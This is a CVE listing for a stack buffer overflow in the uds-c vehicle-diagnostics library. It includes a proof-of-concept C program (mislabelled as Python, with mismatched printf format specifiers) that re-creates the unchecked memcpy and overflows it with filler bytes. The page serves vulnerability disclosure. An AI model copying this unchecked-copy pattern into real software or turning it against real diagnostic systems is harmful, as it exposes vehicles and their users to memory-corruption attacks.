CVE-2026-37536

Description

miaofng/uds-c commit e506334e270d77b20c0bc259ac6c7d8c9b702b7a (2016-10-05) contains a stack buffer overflow in send_diagnostic_request. A 6-byte stack buffer (MAX_DIAGNOSTIC_PAYLOAD_SIZE=6) receives memcpy at offset 1+pid_length with payload_length bytes. MAX_UDS_REQUEST_PAYLOAD_LENGTH=7, so 1+2+7=10 exceeds buffer by 4 bytes. No bounds check on payload_length before memcpy.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

miaofng/uds-c commit e506334e270d77b20c0bc259ac6c7d8c9b702b7a

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <string.h>
#include <stdint.h>

// Simulated vulnerable function based on CVE description
#define MAX_DIAGNOSTIC_PAYLOAD_SIZE 6

void send_diagnostic_request(uint8_t pid_length, uint8_t *payload, uint8_t payload_length) {
    uint8_t buffer[MAX_DIAGNOSTIC_PAYLOAD_SIZE];
    // Vulnerability: No bounds check on payload_length before memcpy
    // Offset: 1 + pid_length
    memcpy(&buffer[1 + pid_length], payload, payload_length);
}

int main() {
    // Setup parameters to trigger overflow
    // MAX_UDS_REQUEST_PAYLOAD_LENGTH is defined as 7 in the original code
    uint8_t pid_len = 2; 
    uint8_t malicious_payload[7];
    
    // Fill payload with 'A' (0x41)
    memset(malicious_payload, 0x41, sizeof(malicious_payload));

    printf("[*] Triggering CVE-2026-37536 Stack Buffer Overflow...\n");
    printf("[*] Writing %d bytes to buffer of size %d at offset %d\n", 
           sizeof(malicious_payload), MAX_DIAGNOSTIC_PAYLOAD_SIZE, 1 + pid_len);
    printf("[*] Total write size: %d bytes (Overflow: %d bytes)\n", 
           1 + pid_len + sizeof(malicious_payload), 
           (1 + pid_len + sizeof(malicious_payload)) - MAX_DIAGNOSTIC_PAYLOAD_SIZE);

    send_diagnostic_request(pid_len, malicious_payload, sizeof(malicious_payload));
    
    printf("[*] Exploit payload sent.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-37536
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-37536
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-37536/
[4] VulDB https://vuldb.com/cve/CVE-2026-37536
[5] https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381
[6] https://github.com/miaofng/uds-c
[7] https://github.com/openxc/uds-c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-37536", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:23.373", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "miaofng/uds-c commit e506334e270d77b20c0bc259ac6c7d8c9b702b7a (2016-10-05) contains a stack buffer overflow in send_diagnostic_request. A 6-byte stack buffer (MAX_DIAGNOSTIC_PAYLOAD_SIZE=6) receives memcpy at offset 1+pid_length with payload_length bytes. MAX_UDS_REQUEST_PAYLOAD_LENGTH=7, so 1+2+7=10 exceeds buffer by 4 bytes. No bounds check on payload_length before memcpy."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381", "source": "[email protected]"}, {"url": "https://github.com/miaofng/uds-c", "source": "[email protected]"}, {"url": "https://github.com/openxc/uds-c", "source": "[email protected]"}]}}